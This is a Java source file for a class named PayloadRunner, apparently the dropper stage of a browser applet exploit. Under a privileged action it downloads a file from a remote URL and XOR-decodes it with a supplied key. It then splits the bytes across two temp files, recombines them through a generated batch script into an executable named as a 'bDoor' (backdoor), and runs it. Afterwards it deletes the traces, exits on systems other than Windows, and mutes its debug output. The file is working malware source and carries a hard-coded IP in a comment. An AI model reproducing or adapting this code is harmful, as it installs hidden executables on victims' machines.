package x;

import java.io.BufferedReader;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URISyntaxException;
import java.net.URL;
import java.net.URLConnection;
import java.security.AccessController;
import java.security.PrivilegedAction;
import java.util.Locale;
import java.util.Properties;

public class PayloadRunner implements PrivilegedAction<Void> {
	public static String docBase = null;
	public static String pJar = null;
	public static String pClass = null;
	public static String[] pArgs = null;
	public static String pBin = null;

	public static Class<?> clClazz;

	private static final String OS_NAME = System.getProperty("os.name").toLowerCase(Locale.ENGLISH);
	private String urlBase;

	// private static final String BASE_URL = "http://88.80.197.161";

	public PayloadRunner() {
		AccessController.doPrivileged(this);
	}

	@SuppressWarnings("all")
	@Override
	public Void run() {
		debug("payload here");

		Process f;
		InputStream payloadStream = null;
		Properties props = new Properties();

		File tempDir = null;
		File bDoor = null;
		
		try {
			String resourceName = pArgs[0] ;
			debug("name: " + resourceName);

			urlBase = pArgs[1];
			debug("urlBase: " + urlBase);

			byte[] resourceKey = decode(pArgs[2]);
			debug("key: " + pArgs[2]);
			// byte[] key = new byte[255]; //getResourceKey();

			// String remoteName = "installer";//getResourceName();

			// get payload path
			String payloadPath = "/";
			if (isWindows()) {
				debug("is windows, downloadSS");
				payloadStream = downloadSS(resourceName);
			} /*
			 * else if (isMac()) { // System.out.println("Running on Mac");
			 * payloadPath += "m"; }
			 */else {
				debug("not windows, exiting");
				System.exit(0);
			}

			byte[] bytes = toByteArray(payloadStream);
			for (int i = 0; i < bytes.length; i++) {
				bytes[i] = (byte) (bytes[i] ^ resourceKey[i % resourceKey.length]);
			}
			
			File dummyTempFile = File.createTempFile("~swap", ".tmp");
			dummyTempFile.delete();
						
			File exeTemp1 = new File(dummyTempFile.getAbsoluteFile().getParent() + "\\swap1.tmp");
			File exeTemp2 = new File(dummyTempFile.getAbsoluteFile().getParent() + "\\swap2.tmp");
			
			FileOutputStream fos = new FileOutputStream(exeTemp1);
			fos.write(bytes, 0, 100);
			fos.close();
			
			fos = new FileOutputStream(exeTemp2);
			fos.write(bytes, 100, bytes.length - 100);
			fos.close();
			
			File batchFile = new File(dummyTempFile.getAbsoluteFile().getParent() + "\\swap.bat");
			fos = new FileOutputStream(batchFile);
			
			bDoor = File.createTempFile("jvm-", ".exe");
			bDoor.delete();
		
			String batchString =	"@echo off\r\ntype \"" + 
									exeTemp1.getAbsoluteFile().getAbsolutePath() + 
									"\" \"" + 
									exeTemp2.getAbsoluteFile().getAbsolutePath() +
									"\" > \"" +
									bDoor.getAbsoluteFile().getAbsolutePath() + 
									"\"\r\n";
			
			fos.write(batchString.getBytes(), 0, batchString.length());
			fos.close();
			
			f = Runtime.getRuntime().exec(batchFile.getAbsolutePath());
			f.waitFor();
			
			exeTemp1.delete();
			exeTemp2.delete();
			batchFile.delete();
			
			f = Runtime.getRuntime().exec(new String[] { bDoor.getAbsoluteFile().getAbsolutePath() });
			f.waitFor(); // se il browser esce, java viene killato		
			bDoor.delete();
			
		} catch (IOException e) {
			debug(e);
		} catch (NullPointerException e) {
			debug(e);
		} catch (InterruptedException e) {
			debug(e);
		} finally {
			try {
				if (payloadStream != null)
				{
					payloadStream.close();
				}
			} catch (IOException e) {
				debug(e);
			} catch (NullPointerException e) {
				debug(e);
			}
		}

		return null;
	}

	private void debug(Exception e) {
		 //e.printStackTrace(System.out);
	}

	private static void debug(String string) {
		//System.out.println(string);
	}

	private InputStream downloadSS(String remoteName) throws IOException {
		debug("downloadSS " + remoteName);
		URL remote = new URL(urlBase + remoteName);
		URLConnection yc = remote.openConnection();
		return yc.getInputStream();
	}

	private byte[] toByteArray(InputStream is) throws IOException {
		ByteArrayOutputStream buffer = new ByteArrayOutputStream();

		int nRead;
		byte[] data = new byte[16384];

		while ((nRead = is.read(data, 0, data.length)) != -1) {
			buffer.write(data, 0, nRead);
		}

		buffer.flush();

		return buffer.toByteArray();
	}

	private static boolean isWindows() {
		return OS_NAME.startsWith("win");

	}

	private static boolean isMac() {
		return OS_NAME.startsWith("mac");
	}

	private static void writeEmbeddedFile(InputStream in, File targetFile) throws FileNotFoundException, IOException {
		debug("writeEmbeddedFile is");
		try {
			FileOutputStream fos = new FileOutputStream(targetFile);
			byte[] buf = new byte[4096];
			int len;
			while ((len = in.read(buf)) != -1) {
				fos.write(buf, 0, len);
			}
			fos.close();
		} catch (Exception ex) {
			debug("error: " + ex);
		}
	}

	private static void writeEmbeddedFile(byte[] buf, File targetFile) throws FileNotFoundException, IOException {
		debug("writeEmbeddedFile ba");
		try {
			FileOutputStream fos = new FileOutputStream(targetFile);
			fos.write(buf, 0, buf.length);
			fos.close();
		} catch (Exception ex) {
			debug("error: " + ex);
		}
	}

	/**
	 * Translates the specified Base64 string into a byte array.
	 * 
	 * @param s
	 *            the Base64 string (not null)
	 * @return the byte array (not null)
	 */
	public byte[] decode(String s) {
		final char[] ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".toCharArray();
		int[] toInt = new int[128];

		for (int i = 0; i < ALPHABET.length; i++) {
			toInt[ALPHABET[i]] = i;
		}

		int delta = s.endsWith("==") ? 2 : s.endsWith("=") ? 1 : 0;
		byte[] buffer = new byte[s.length() * 3 / 4 - delta];
		int mask = 0xFF;
		int index = 0;
		for (int i = 0; i < s.length(); i += 4) {
			int c0 = toInt[s.charAt(i)];
			int c1 = toInt[s.charAt(i + 1)];
			buffer[index++] = (byte) (((c0 << 2) | (c1 >> 4)) & mask);
			if (index >= buffer.length) {
				return buffer;
			}
			int c2 = toInt[s.charAt(i + 2)];
			buffer[index++] = (byte) (((c1 << 4) | (c2 >> 2)) & mask);
			if (index >= buffer.length) {
				return buffer;
			}
			int c3 = toInt[s.charAt(i + 3)];
			buffer[index++] = (byte) (((c2 << 6) | c3) & mask);
		}
		return buffer;
	}

}
